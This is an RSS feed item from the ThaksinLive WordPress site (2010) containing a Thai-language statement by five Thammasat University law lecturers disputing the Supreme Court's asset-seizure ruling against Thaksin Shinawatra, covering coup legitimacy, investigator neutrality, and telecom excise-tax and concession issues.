















































































































































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ThaksinLive &#187; What others say</title>
	<atom:link href="http://www.thaksinlive.com/category/wos_eng/feed" rel="self" type="application/rss+xml" />
	<link>http://www.thaksinlive.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 01 Apr 2010 13:47:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>แถลงการณ์และบทวิเคราะห์ &#8216;คำพิพากษาคดียึดทรัพย์&#8217; ที่กลุ่ม ‘5 อาจารย์นิติฯ มธ.’ ไม่อาจเห็นพ้องด้วยได้ (ฉบับย่อ)</title>
		<link>http://www.thaksinlive.com/2010/03/headlines/775</link>
		<comments>http://www.thaksinlive.com/2010/03/headlines/775#comments</comments>
		<pubDate>Fri, 12 Mar 2010 02:45:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>
		<category><![CDATA[คำพิพากษาคดียึดทรัพย์]]></category>
		<category><![CDATA[ทักษิณ ชินวัตร]]></category>
		<category><![CDATA[บทวิเคราะห์]]></category>
		<category><![CDATA[แถลงการณ์]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=775</guid>
		<description><![CDATA[แถลงการณ์และบทวิเคราะห์ &#8216;คำพิพากษาคดียึดทรัพย์&#8217; ที่กลุ่ม ‘5 อาจารย์นิติฯ มธ.’ ไม่อาจเห็นพ้องด้วยได้ (ฉบับย่อ)
Thu, 2010-03-11 08:59ทวิเคราะห์คำพิพากษา
ของศาลฎีกาแผนกคดีอาญาของผู้ดำรงตำแหน่งทางการเมือง
กรณีขอให้ทรัพย์สินตกเป็นของแผ่นดิน
โดย
กลุ่ม 5 อาจารย์
คณะนิติศาสตร์ มหาวิทยาลัยธรรมศาสตร์
(ฉบับสรุปย่อ)

ประเด็นที่ 1 ความสัมพันธ์ของคดีกับรัฐประหาร 19 กันยายน 2549
๐ ต้นธารของกระบวนการยุติธรรมในคดีนี้เริ่มต้นจากรัฐประหาร ปฏิเสธไม่ได้เลยว่ารัฐประหาร 19 กันยายน 2549 เป็นที่มาของ คตส. เมื่อ คปค.ก่อการรัฐประหารยึดอำนาจจากรัฐบาล พ.ต.ท.ทักษิณ และการรัฐประหารก็เป็นการกระทำที่ไม่ชอบด้วยรัฐธรรมนูญ เป็นความผิดทางอาญา มีโทษสูงสุดถึงประหารชีวิต และเป็นสิ่งแปลกปลอมในรัฐเสรีประชาธิปไตย ประกอบกับพิจารณาทางความเป็นจริงก็เห็นว่าคดีที่ คตส.เลือกขึ้นมาพิจารณาก็ล้วนแล้วแต่เป็นคดีที่เกี่ยวข้องกับ พ.ต.ท.ทักษิณ ชินวัตร และรัฐบาล พ.ต.ท.ทักษิณ ข้อเท็จจริงเหล่านี้ ย่อมชี้ให้เห็นว่ากระบวนการยุติธรรมในคดีนี้เริ่มต้นจากความไม่ชอบด้วยกฎหมาย ผลลัพธ์ที่เกิดขึ้นย่อมไม่ชอบด้วยกฎหมายดุจกัน
๐ หากแม้นยอมเชื่อกันตามประเพณีของระบบกฎหมายไทยที่ว่า เมื่อคณะรัฐประหารยึดอำนาจการปกครองประเทศได้เบ็ดเสร็จเด็ดขาด เมื่อนั้นคณะรัฐประหารก็เป็นรัฏฐาธิปัตย์ คณาจารย์ทั้งห้าก็ยังคงเห็นว่า เมื่อรัฐประหารเกิดขึ้นแล้ว และคณะรัฐประหารได้ให้กำเนิดผลิตผลทางกฎหมายจำนวนมาก จนกระทั่งวันหนึ่งมีการจัดตั้งระบบกฎหมายชุดใหม่ผ่านการจัดให้มีรัฐธรรมนูญ องค์กรผู้ใช้บังคับกฎหมายทั้งหลาย ต้องพิจารณาใช้และตีความผลิตผลทางกฎหมายของคณะรัฐประหารเสียใหม่ให้เป็นไปในทางที่เป็นธรรม คณาจารย์ทั้งห้าเห็นว่าองค์กรเหล่านี้ควรกล้าปฏิเสธรัฐประหารและผลผลิตของคณะรัฐประหารด้วยการไม่นำประกาศ คปค.มาใช้บังคับในคดี และไม่ยอมรับกระบวนการยุติธรรมที่ริเริ่มจากคณะรัฐประหาร

ประเด็นที่ 2 ความเป็นกลางขององค์กรที่ทำหน้าที่ไต่สวน
๐ [...]]]></description>
			<content:encoded><![CDATA[<p><strong>แถลงการณ์และบทวิเคราะห์ </strong><strong>&#8216;คำพิพากษาคดียึดทรัพย์&#8217; ที่กลุ่ม ‘5 อาจารย์นิติฯ มธ.’ ไม่อาจเห็นพ้องด้วยได้ (ฉบับย่อ)</strong></p>
<p>Thu, 2010-03-11 08:59<strong>ทวิเคราะห์คำพิพากษา<br />
ของศาลฎีกาแผนกคดีอาญาของผู้ดำรงตำแหน่งทางการเมือง<br />
กรณีขอให้ทรัพย์สินตกเป็นของแผ่นดิน</strong><br />
โดย<br />
<strong>กลุ่ม 5 อาจารย์<br />
คณะนิติศาสตร์ มหาวิทยาลัยธรรมศาสตร์</strong><br />
(ฉบับสรุปย่อ)</p>
<p><span id="more-775"></span></p>
<p><strong>ประเด็นที่ 1 ความสัมพันธ์ของคดีกับรัฐประหาร 19 กันยายน 2549</strong><br />
<strong>๐</strong> ต้นธารของกระบวนการยุติธรรมในคดีนี้เริ่มต้นจากรัฐประหาร ปฏิเสธไม่ได้เลยว่ารัฐประหาร 19 กันยายน 2549 เป็นที่มาของ คตส. เมื่อ คปค.ก่อการรัฐประหารยึดอำนาจจากรัฐบาล พ.ต.ท.ทักษิณ และการรัฐประหารก็เป็นการกระทำที่ไม่ชอบด้วยรัฐธรรมนูญ เป็นความผิดทางอาญา มีโทษสูงสุดถึงประหารชีวิต และเป็นสิ่งแปลกปลอมในรัฐเสรีประชาธิปไตย ประกอบกับพิจารณาทางความเป็นจริงก็เห็นว่าคดีที่ คตส.เลือกขึ้นมาพิจารณาก็ล้วนแล้วแต่เป็นคดีที่เกี่ยวข้องกับ พ.ต.ท.ทักษิณ ชินวัตร และรัฐบาล พ.ต.ท.ทักษิณ ข้อเท็จจริงเหล่านี้ ย่อมชี้ให้เห็นว่ากระบวนการยุติธรรมในคดีนี้เริ่มต้นจากความไม่ชอบด้วยกฎหมาย ผลลัพธ์ที่เกิดขึ้นย่อมไม่ชอบด้วยกฎหมายดุจกัน</p>
<p><strong>๐</strong> หากแม้นยอมเชื่อกันตามประเพณีของระบบกฎหมายไทยที่ว่า เมื่อคณะรัฐประหารยึดอำนาจการปกครองประเทศได้เบ็ดเสร็จเด็ดขาด เมื่อนั้นคณะรัฐประหารก็เป็นรัฏฐาธิปัตย์ คณาจารย์ทั้งห้าก็ยังคงเห็นว่า เมื่อรัฐประหารเกิดขึ้นแล้ว และคณะรัฐประหารได้ให้กำเนิดผลิตผลทางกฎหมายจำนวนมาก จนกระทั่งวันหนึ่งมีการจัดตั้งระบบกฎหมายชุดใหม่ผ่านการจัดให้มีรัฐธรรมนูญ องค์กรผู้ใช้บังคับกฎหมายทั้งหลาย ต้องพิจารณาใช้และตีความผลิตผลทางกฎหมายของคณะรัฐประหารเสียใหม่ให้เป็นไปในทางที่เป็นธรรม คณาจารย์ทั้งห้าเห็นว่าองค์กรเหล่านี้ควรกล้าปฏิเสธรัฐประหารและผลผลิตของคณะรัฐประหารด้วยการไม่นำประกาศ คปค.มาใช้บังคับในคดี และไม่ยอมรับกระบวนการยุติธรรมที่ริเริ่มจากคณะรัฐประหาร<br />
<strong></strong></p>
<p><strong>ประเด็นที่ 2 ความเป็นกลางขององค์กรที่ทำหน้าที่ไต่สวน</strong><br />
<strong>๐</strong> ศาลฎีกาฯไม่ได้ยกเหตุผลหรืออธิบายให้เห็นชัดเลยว่าการกระทำของบุคคลทั้งสามมีความเป็นกลางหรือไม่ ศาลเพียงแต่บอกว่า “เป็นการปฏิบัติหน้าที่ตามกฎหมาย” “เป็นการแสดงออกโดยใช้สิทธิและเสรีภาพตามรัฐธรรมนูญ” “เป็นการดำเนินการโดยใช้ความรู้ความสามารถทางวิชาชีพ” “เป็นการแสดงออกในฐานะนักวิชาการและประชาชน” “เป็นการใช้สิทธิตามกฎหมาย” “เป็นการแสดงความเห็นทางวิชาการ วิพากษ์วิจารณ์ด้วยความชอบธรรม ไม่มีเหตุโกรธเคืองเป็นการส่วนตัว ไม่มีส่วนรู้เห็นเหตุกาณ์โดยตรง” เหตุผลเหล่านี้ไม่ได้เป็นตัวบ่งชี้ว่าพฤติกรรมหรือการกระทำเหล่านี้จะไม่ได้แสดงถึง “ความไม่เป็นกลาง” ของบุคคลทั้งสาม ตรงกันข้าม สมมติว่าหากพิจารณาโดยเนื้อแท้แล้วการกระทำนั้นยังคงมีสภาพร้ายแรงเพียงพอที่จะเห็นได้ว่าอาจทำให้การพิจารณาไม่เป็นกลางได้ อย่างไรเสียก็คือ “ ความไม่เป็นกลาง” แม้การกระทำนั้นจะเป็นการใช้สิทธิตามกฎหมาย เป็นการปฏิบัติหน้าที่ตามกฎหมาย หรือเป็นการใช้เสรีภาพทางวิชาการก็ตาม</p>
<p><strong>๐</strong> เป็นที่ทราบกันดีว่า คตส. แต่งตั้งโดย คปค. และ คปค.เป็นผู้ก่อการรัฐประหารรัฐบาล พ.ต.ท.ทักษิณ ชินวัตร ในขณะที่ คตส. เลือกพิจารณาตรวจสอบเฉพาะเรื่องของ พ.ต.ท.ทักษิณฯ ความข้อนี้ย่อมเป็นที่เคลือบแคลงสงสัยถึงความไม่เป็นกลางของ คตส. ต่อการพิจารณาเรื่องของ พ.ต.ท.ทักษิณ ฯได้</p>
<p><strong>๐</strong> เมื่อพิจารณาถึงพฤติกรรมและทัศนคติของคตส.และอนุกรรมการไต่สวนทั้งสามคน ในแง่การให้ความเห็นเป็นปฏิปักษ์กับพ.ต.ท.ทักษิณฯหลายครั้งทั้งก่อนและระหว่างดำรงตำแหน่งเป็นกรรมการ คตส. การร่วมชุมนุมและขึ้นเวทีอภิปรายกับกลุ่มพันธมิตรฯซึ่งต่อต้านพ.ต.ท.ทักษิณฯ การอภิปรายและเขียนบทความวิจารณ์การดำเนินนโยบายของพ.ต.ท.ทักษิณไปในทางไม่เห็นด้วยและเห็นว่าน่าจะส่อทุจริตและใช้อำนาจโดยมิชอบ การจัดงานเลี้ยงอำลาเนื่องในโอกาส คตส.หมดวาระ โดยจัดทำชื่อรายการอาหารล้อเลียนนโยบายของ พ.ต.ท.ทักษิณ คณาจารย์ทั้งห้าเห็นว่าข้อเท็จจริงเหล่านี้ควรที่จะต้องนำมาพิจารณาประกอบด้วย</p>
<p><strong>ประเด็นที่ 3 การแปลงค่าสัมปทานเป็นภาษีสรรพสามิต</strong><br />
<strong>๐</strong> ในการแปลงค่าสัมปทานเป็นภาษีสรรพสามิต รัฐยังคงได้ประโยชน์เท่าเดิม เพียงแต่เงินรายได้ค่าสัมปทานให้แก่รัฐถูกแบ่งจ่ายเป็นสองส่วน กล่าวคือ จ่ายให้บริษัทที่เป็นรัฐวิสาหกิจคู่สัญญา (ซึ่งขณะนี้กระทรวงการคลังถือหุ้นร้อยละ 100) กับจ่ายให้กระทรวงการคลังโดยตรงในส่วนที่เหลือ ดังนั้น การที่บริษัททีโอที และบริษัท กสท. โทรคมนาคม มีรายได้ลดลงดังกล่าวจะถือว่ารัฐเสียประโยชน์ไม่ได้ เพราะกระทรวงการคลังได้รับเงินส่วนหนึ่งจากค่าสัมปทานโดยตรงอยู่แล้ว อาจกล่าวได้ว่ารัฐได้ประโยชน์ยิ่งกว่าเดิม เพราะค่าสัมปทานนั้น เดิมบริษัทเอกชนชำระแก่คู่สัญญาเป็นรายปีหรือรายไตรมาส แต่การชำระเงินรายได้ร้อยละ 10 ให้แก่กระทรวงการคลังนั้น เป็นการชำระรายเดือน</p>
<p><strong>๐</strong> ส่วนประเด็นที่ว่ารัฐบาลไม่ได้มีเหตุผลในการเรียกเก็บภาษีเพื่อหารายได้เข้ารัฐนั้น คณาจารย์ทั้งห้า เห็นว่า การที่รัฐบาลจะเรียกเก็บภาษีสรรพสามิตในกิจการประเภทใด เพราะเหตุใด อัตราเท่าใด ย่อมเป็นดุลพินิจของฝ่ายบริหารดังที่ศาลรัฐธรรมนูญในคำวินิจฉัยที่ 32/2548 ได้วินิจฉัยไว้ และการเรียกเก็บภาษีสรรพสามิตก็มีส่วนทำให้รายได้สัมปทานเข้าสู่รัฐโดยตรงโดยไม่ต้องสูญเสียไปให้แก่บริษัท กสท โทรคมนาคม หรือ บริษัท ทีโอที อีกด้วย</p>
<p><strong>๐</strong> สำหรับประเด็นที่ว่าการกระทำในลักษณะดังกล่าวส่งผลให้บริษัททีโอที และบริษัท กสท โทรคมนาคม อ่อนแอลง เพราะได้รับค่าสัมปทานน้อยลงนั้น คณาจารย์ทั้งห้าเห็นว่า กระทรวงการคลังในฐานะผู้ถือหุ้นสามารถตรวจสอบประสิทธิภาพการบริหารงาน ตลอดจนให้เงินอุดหนุนตามความเหมาะสมและจำเป็นได้อยู่แล้ว และที่จริงแล้ว การนำเงินค่าสัมปทานส่งกระทรวงการคลังทั้งหมด แล้วให้กระทรวงการคลังอุดหนุนการประกอบกิจการของบริษัททีโอที และบริษัท กสท โทรคมนาคมนั้นหากบริษัททั้งสองสามารถแสดงเหตุผลความจำเป็นได้ย่อมเป็นหลักการที่ถูกต้องยิ่งกว่าการให้บริษัททั้งสองได้รับเงินค่าสัมปทานโดยตรงและนำไปใช้จ่ายโดยเสรีอีกด้วย อีกทั้งยังคิดในเชิงนโยบายได้อีกว่า การกำหนดภาษีสรรพสามิตเป็นการกระตุ้นให้บริษัททั้งสองเร่งประกอบกิจการที่เป็นของตนเพื่อให้เป็นประโยชน์ต่อประเทศชาติอย่างแท้จริง โดยเน้นให้บริษัททั้งสองประกอบธุรกิจของตนเอง มากกว่าที่จะพึ่งพิงรายได้สัมปทานอันเป็นสิทธิพิเศษที่รัฐเคยมอบให้ในฐานะที่เดิมเคยเป็นรัฐวิสาหกิจที่จัดตั้งขึ้นตามพระราชบัญญัติซึ่งปัจจุบันสถานะนั้นได้สิ้นสุดลงแล้ว</p>
<p><strong>๐</strong> สำหรับประเด็นที่ว่า รัฐบาลไม่ควรลดรายได้ของบริษัททีโอทีลง เพราะบริษัทเอไอเอสได้รับประโยชน์ในเรื่องการใช้ทรัพย์สินและเครื่องอุปกรณ์ซึ่งเป็นของ ทศท.รวมไปถึงการประกอบธุรกิจในลักษณะผูกขาดแต่ผู้เดียวนั้น คณาจารย์ทั้งห้าเห็นว่าทรัพย์สินและเครื่องอุปกรณ์นั้น เป็นทรัพย์สินที่บริษัทเอไอเอส ตกลงสร้างให้แก่รัฐโดยผ่านองค์การโทรศัพท์แห่งประเทศไทยเดิม ดังนั้น การได้รับสิทธิในการใช้เครื่องและอุปกรณ์ดังกล่าวจึงเป็นสิ่งที่ชอบด้วยเหตุผลในเชิงนโยบายและการประกอบธุรกิจ สิทธิที่บริษัทเอไอเอสได้รับนี้จึงเกิดจากการแลกเปลี่ยนผลประโยชน์ตอบแทนทางธุรกิจจากการที่โอนกรรมสิทธิ์ในทรัพยสินให้แก่รัฐ ไม่ใช่ว่าบริษัทเอไอเอสได้รับสิทธิพิเศษในการใช้ทรัพยสินของรัฐแต่อย่างใด นอกจากนี้ การที่บริษัทเอไอเอสตกลงโอนทรัพย์สินดังกล่าวให้แก่องค์การโทรศัพท์แห่งประเทศไทยเดิมนั้น ก็เป็นการตกลงโอนให้แก่รัฐโดยบริษัททีโอทีถือกรรมสิทธิ์แทนเท่านั้น รายได้สัมปทานจึงเป็นของรัฐ กล่าวคือประชาชนทุกคน ไม่ใช่เป็นสิทธิขาดของบริษัททีโอที ในประเด็นที่ว่าบริษัทเอไอเอสได้รับสิทธิขาดจากรัฐในการผูกขาดกิจการโทรคมนาคมดังนั้น จึงไม่ควรที่จะให้นำภาษีมาหักจากค่าสัมปทานที่บริษัททีโอทีได้รับนั้น คณาจารย์ทั้งห้าเห็นว่าบริษัทเอไอเอสไม่ได้รับเอกสิทธิจากรัฐในการผูกขาดกิจการโทรศัพท์เคลื่อนที่แต่อย่างใด เพราะไม่มีบทบัญญัติแห่งกฎหมายให้อำนาจบริษัทเอไอเอสเช่นว่านั้น และในทางข้อเท็จจริง บริษัทเอไอเอสก็มีคู่แข่งทางธุรกิจหลายราย ดังนั้น การที่จะกำหนดเป็นการตายตัวว่ารายได้สัมปทานทั้งหมดอันเป็นของแผ่นดินจะต้องตกได้แก่บริษัททีโอที ทั้งหมด ไม่ต้องส่งตรงไปยังกระทรวงการคลังในฐานะภาษีสรรพสามิตเพราะบริษัทเอไอเอสได้รับสิทธิในการใช้ทรัพย์สินของบริษัททีโอทีหรือได้รับสิทธิผูกขาดจากรัฐ คณาจารย์ทั้งห้าไม่เห็นพ้องด้วย</p>
<p><strong>๐</strong> หากคณะรัฐมนตรีไม่มีมติให้นำภาษีสรรพสามิตหักออกจากค่าสัมปทาน ผลที่เกิดขึ้นอีกประการหนึ่งต่อประชาชนก็คือ บริษัทเอกชนที่ประกอบกิจการโทรคมนาคมจะต้องชำระค่าสัมปทานในกิจการโทรศัพท์เคลื่อนที่ร้อยละ 20 ร้อยละ 25 และร้อยละ 30 และในกิจการโทรศัพท์ประจำที่ร้อยละ 16 และร้อยละ 43 และจะต้องชำระภาษีสรรพสามิตอีกร้อยละ 10 ซึ่งบริษัทเอกชนเหล่านั้นย่อมมีสิทธิโดยชอบที่จะผลักภาระภาษีสรรพสามิตร้อยละ 10 ไปให้ผู้ใช้บริการโทรศัพท์มือถือ การดำเนินการในลักษณะดังกล่าวโดยคณะรัฐมนตรีจึงมีลักษณะเป็นมาตรการชั่วคราวเชิงนโยบายที่จะป้องกันมิให้เกิดผลกระทบต่อราคาค่าบริการโทรคมนาคมเท่านั้นและมิได้เป็นการขัดขวางลิดรอนอำนาจของคณะกรรมการกิจการโทรคมนาคมแห่งชาติ (กทช.) ในการเรียกเก็บค่าธรรมเนียมและค่าบริการในกิจการโทรคมนาคมแต่อย่างใดซึ่งศาลรัฐธรรมนูญในคำวินิจฉัยที่ 32/2548 ก็ได้วินิจฉัยในประเด็นนี้ไว้อย่างชัดเจนแล้ว ที่ศาลฎีกาฯเห็นว่าการดำเนินการดังกล่าวทำให้รัฐเกิดความเสียหายนั้น คณาจารย์ทั้งห้าไม่เห็นพ้องด้วย</p>
<p><strong>๐</strong> สำหรับประเด็นที่ว่าการตราพระราชกำหนดเกี่ยวกับภาษีสรรพสามิตทั้งสองฉบับมีลักษณะเป็นการกีดกันผู้ประกอบกิจการโทรคมนาคมรายใหม่ เพราะผู้ประกอบกิจการโทรคมนาคมรายใหม่ที่จะเข้าสู่ตลาดนอกจากจะต้องชำระค่าธรรมเนียมและค่าบริการในกิจการโทรคมนาคมให้แก่ กทช.แล้ว ยังจะต้องเสียภาษีสรรพสามิตอีกด้วยนั้น คณาจารย์ทั้งห้าเห็นว่าการจะวินิจฉัยลงไปว่าการดำเนินการดังกล่าวมีลักษณะเป็นการกีดกันคู่แข่งรายใหม่ อันจะทำให้บริษัทที่ทำธุรกิจโทรคมนาคมอย่างเช่น บริษัทเอไอเอส ดีแทค หรือทรูมูฟ ได้ประโยชน์หรือไม่นั้น จะต้องพิจารณาจากรายได้ที่ผู้ประกอบการรายใหม่จะได้รับจากการเข้าตลาด และต้นทุนในการเข้าตลาดว่า ในท้ายที่สุด การเข้าตลาดโดยต้องเสียภาษีสรรพสามิตรด้วยนั้น ผู้ประกอบการรายใหม่จะยังคงได้รับกำไรในการประกอบธุรกิจหรือไม่ และศึกษาเปรียบเทียบต้นทุนระหว่างผู้ประกอบการรายใหม่และรายเก่าประกอบด้วย</p>
<p><strong>๐</strong> เมื่อพิจารณาจากข้อเท็จจริงแล้ว จะเห็นได้ว่าบริษัทที่ประกอบกิจการโทรคมนาคมรายใหม่ที่เข้าสู่ตลาดนั้น จะไม่ได้เข้าสู่ตลาดโดยฐานของสัญญาสัมปทาน (โดยเป็นคู่สัญญากับรัฐวิสาหกิจ) อีกต่อไป แต่จะเข้าสู่ตลาดโดยการได้รับใบอนุญาตให้ประกอบกิจการโทรคมนาคมจาก กทช. ซึ่งเมื่อพิจารณาภาระค่าใช้จ่ายในเบื้องต้นแล้ว พบว่าในขณะที่เกิดปัญหานี้ขึ้น บริษัทประกอบกิจการให้บริการโทรศัพท์เคลื่อนที่ทั้งหลายจะต้องจ่ายส่วนแบ่งรายได้จากการให้บริการให้แก่คู่สัญญาฝ่ายรัฐและภาษีสรรพสามิตเป็นจำนวนรวมกันแล้วร้อยละ 20 ร้อยละ 25 และร้อยละ 30 ของรายได้ก่อนหักค่าใช้จ่ายทั้งปวง ในขณะที่หากมีผู้ประกอบการรายใหม่เข้าสู่ตลาด ผู้ประกอบการรายใหม่จะต้องเสียภาษีสรรพสามิตร้อยละ 10 และจะต้องเสียค่าธรรมเนียมและค่า USO ให้แก่ กทช. อีกรวมแล้วประมาณในอัตราร้อยละ 7 ใน พ.ศ.2548 และ ไม่เกินร้อยละ 6 ในปัจจุบัน รวมแล้วผู้ประกอบกิจการโทรคมนาคมรายใหม่จะมีภาระค่าใช้จ่ายประมาณร้อยละ 17 ใน พ.ศ.2548 และร้อยละ 16 ในปัจจุบัน  และยังสามารถหักค่าลดหย่อนต่างๆตามที่คณะกรรมการกิจการโทรคมนาคมแห่งชาติกำหนดได้อีกด้วย จะเห็นได้ว่าต้นทุนเกี่ยวกับการขออนุญาตในการประกอบกิจการโทรศัพท์เคลื่อนที่ของผู้ประกอบการรายเดิมเมื่อเปรียบเทียบกับผู้ประกอบการใหม่แล้ว ต้นทุนของผู้ประกอบการรายเดิมก็ยังสูงกว่าอยู่ดี</p>
<p><strong>๐</strong> คณาจารย์ทั้งห้า จึงเห็นว่า การเรียกเก็บภาษีสรรพสามิตไม่ได้เป็นอุปสรรคสำคัญที่ทำให้ผู้ประกอบการรายใหม่มีต้นทุนในการประกอบกิจการสูงกว่าจุดคุ้มทุนจนเข้าสู่ตลาดไม่ได้  นอกจากนี้ ถึงแม้ว่าผู้ประกอบกิจการโทรศัพท์เคลื่อนที่รายเดิมจะมีฐานลูกค้าอยู่แล้ว ในขณะที่ผู้ประกอบกิจการโทรศัพท์เคลื่อนที่รายใหม่ไม่มีฐานลูกค้าเลย แต่เรื่องนี้ก็เป็นเรื่องการแข่งขันทางธุรกิจที่ผู้ประกอบกิจการโทรศัพท์เคลื่อนที่รายใหม่จะต้องค่อยๆสร้างฐานลูกค้าของตนขึ้นโดยแข่งขันอย่างมีประสิทธิภาพ ไม่ต่างจากกรณีของกิจการอื่นๆทั่วไปที่ย่อมจะมีผู้ที่เข้าตลาดก่อนและหลัง การที่ผู้ประกอบการรายเก่าเข้าสู่ตลาดและรับเอาความเสี่ยงทางธุรกิจต่างๆไปก่อนก็ไม่ใช่ความผิดที่รัฐจะพึงลงโทษโดยการเก็บภาษีหรือค่าธรรมเนียมในการประกอบกิจการโทรคมนาคมให้สูงกว่ารายใหม่</p>
<p><strong>๐</strong> ในประเด็นที่ว่า หากคณะรัฐมนตรีเห็นชอบให้ขึ้นภาษีสรรพสามิตในอัตราสูงถึงร้อยละ 25 ก็จะทำให้บริษัท ทีโอทีต้องนำค่าสัมปทานที่ได้รับจากบริษัทเอไอเอส ไปชำระให้แก่กรมสรรพสามิตทั้งหมด ทำให้บริษัททีโอทีเสียหายนั้น คณาจารย์ทั้งห้า เห็นว่า รัฐไม่ได้สูญเสียรายได้แม้จะมีการใช้ดุลพินิจเช่นนั้น เพราะรัฐยังได้รับรายได้เท่าเดิม นอกจากนี้ การที่จะคาดการณ์ว่าในอนาคต อาจมีการขึ้นภาษีสรรพสามิตไปเป็นอัตราร้อยละ 25 ทำให้บริษัททีโอทีไม่ได้รับค่าสัมปทานเลยนั้น ก็เป็นการคาดการณ์ในเรื่องที่ยังไม่เกิดขึ้นจริง หากสภาวการณ์เปลี่ยนแปลงไปจนมีเหตุให้ต้องเปลี่ยนแปลงอัตราภาษีสรรพสามิต กทช.และรัฐบาลในแต่ละขณะย่อมต้องใช้ดุลพินิจในการปรับอัตราภาษีสรรพสามิตและค่าธรรมเนียมการประกอบกิจการโทรคมนาคมของผู้ประกอบการรายใหม่และรายเก่าให้มีความสมดุลกัน เพื่อความเท่าเทียมกันในการแข่งขัน</p>
<p><strong>๐</strong> ถึงแม้ว่าคณาจารย์ทั้งห้าจะเห็นว่าการตราพระราชกำหนดว่าด้วยภาษีสรรพสามิตทั้งสองฉบับ อาจมีข้อโต้แย้งทางวิชาการได้ว่าเป็นการตราพระราชกำหนดที่เป็นไปตามเงื่อนไขที่กำหนดไว้ในรัฐธรรมนูญหรือไม่ และเห็นว่าการใช้ภาษีสรรพสามิตเป็นเครื่องมือในการแก้ปัญหาที่เกิดขึ้นกับการจ่ายส่วนแบ่งรายได้ตามสัญญาอนุญาตให้ดำเนินกิจการบริการโทรคมนาคมนั้น เป็นการใช้เครื่องมือที่สามารถถกเถียงกันได้ในทางวิชาการว่าไม่น่าจะเหมาะสมและไม่สอดคล้องกับลักษณะของกิจการโทรคมนาคมก็ตาม แต่เมื่อในประเด็นนี้ ศาลรัฐธรรมนูญได้วินิจฉัยแล้วว่าไม่ขัดต่อรัฐธรรมนูญ จึงถือเป็นอันยุติสำหรับการควบคุมความชอบด้วยรัฐธรรมนูญของพระราชกำหนด และเมื่อยังไม่ปรากฏว่าหลักเกณฑ์ทางกฎหมายที่มีอยู่นี้จะเป็นอุปสรรค กีดกันไม่ให้ผู้ประกอบการรายใหม่เข้าสู่ตลาดดังที่ได้แสดงให้เห็นข้างต้น คณาจารย์ทั้งห้าจึงเห็นว่า ข้อเท็จจริงยังไม่เพียงพอที่จะถือว่าการตราพระราชกำหนดว่าด้วยภาษีสรรพสามิตทั้งสองฉบับและมติคณะรัฐมนตรีในรัฐบาลของ พตท.ทักษิณ ชินวัตร จะมีผลเป็นการกีดกันผู้ประกอบการรายใหม่ในกิจการโทรศัพท์เคลื่อนที่มิให้เข้าตลาด อันจะเป็นการจำกัดการแข่งขันในกิจการโทรศัพท์เคลื่อนที่ ที่ศาลฎีกาฯเห็นว่าการตราพระราชกำหนดดังกล่าว การออกประกาศกระทรวงการคลัง รวมทั้งการมีมติคณะรัฐมนตรีให้นำภาษีสรรพสามิตหักออกจากค่าสัมปทานเป็นการกีดกันผู้ประกอบกิจการรายใหม่ เอื้อประโยชน์แก่บริษัทชินคอร์ป คณาจารย์ทั้งห้าไม่อาจเห็นพ้องด้วยได้</p>
<p><strong>ประเด็นที่ 4 การแก้ไขสัญญาอนุญาตให้ดำเนินกิจการโทรศัพท์เคลื่อนที่</strong><br />
<strong>๐</strong> การปรับลดส่วนแบ่งรายได้ให้แก่บริษัทเอไอเอสนั้นแม้จะมีเหตุมาจากการการที่ ทศท.ลดอัตราค่าเชื่อมโยงโครงข่ายในส่วนของการให้บริการโทรศัพท์เคลื่อนแบบพรีเพดก็ตาม แต่ถึงที่สุดแล้วก็เป็นดุลพินิจของคู่สัญญาฝ่ายรัฐซึ่งจะต้องใช้โดยคำนึงถึงประโยชน์ต่อผู้บริโภคหรือผู้ใช้บริการ และประโยชน์ต่อสาธารณะเป็นสำคัญ ไม่ใช่คำนึงถึงประโยชน์ด้านฐานะการเงินขององค์กรแต่เพียงอย่างเดียว</p>
<p><strong>๐</strong> ข้อเท็จจริงปรากฏว่าในการมีมติในเรื่องการลดอัตราส่วนแบ่งรายได้ให้กับเอไอเอสนั้น คณะกรรมการ ทศท. กำหนดเงื่อนไขให้ ทศท. เจรจากับเอไอเอสให้ได้ข้อยุติในการนำส่งส่วนแบ่งรายได้ให้ ทศท.เป็นรายเดือน และนำผลประโยชน์ที่เอไอเอสได้รับในครั้งนี้ไปใช้ให้เกิดประโยชน์กับผู้ใช้บริการ และหลังจากปรับลดอัตราส่วนแบ่งรายได้แล้ว ปรากฏว่าเอไอเอสได้ปรับลดค่าใช้บริการให้แก่ผู้ใช้บริการมากกว่าอัตราที่กำหนดในสัญญาแก้ไขเพิ่มเติม ซึ่งเห็นได้ชัดว่า การปรับลดอัตราส่วนแบ่งรายได้ดังกล่าวก่อให้เกิดประโยชน์โดยตรงแก่ผู้ใช้บริการ ทำให้มีผู้ใช้บริการเพิ่มเติมขึ้น ส่งผลให้ ทศท.มีรายได้เพิ่มมากขึ้นด้วย การเติบโตของตลาดโทรคมนาคมในแต่ละปี เป็นการเติบโตไปตามสภาวะการณ์ทางเศรษฐกิจและเป็นธรรมดาอยู่เองที่จำนวนผู้ใช้บริการโทรศัพท์มือถือจะเพิ่มขึ้น การที่จำนวนผู้ใช้โทรศัพท์มือถือเพิ่มสูงขึ้นนั้นย่อมไม่ได้เป็นผลโดยตรงมาจากการปรับลดอัตราส่วนแบ่งรายได้แต่เพียงอย่างเดียว แต่มีปัจจัยหลายประการประกอบกัน ที่สำคัญก็คือ การลดค่าบริการให้แก่ผู้บริโภคเพื่อแข่งขันและแย่งลูกค้าในตลาด จนทำให้บริษัทเอไอเอสมีลูกค้า พรีเพดจำนวนมาก เป็นประโยชน์แก่ทั้งบริษัททีโอที และประชาชน 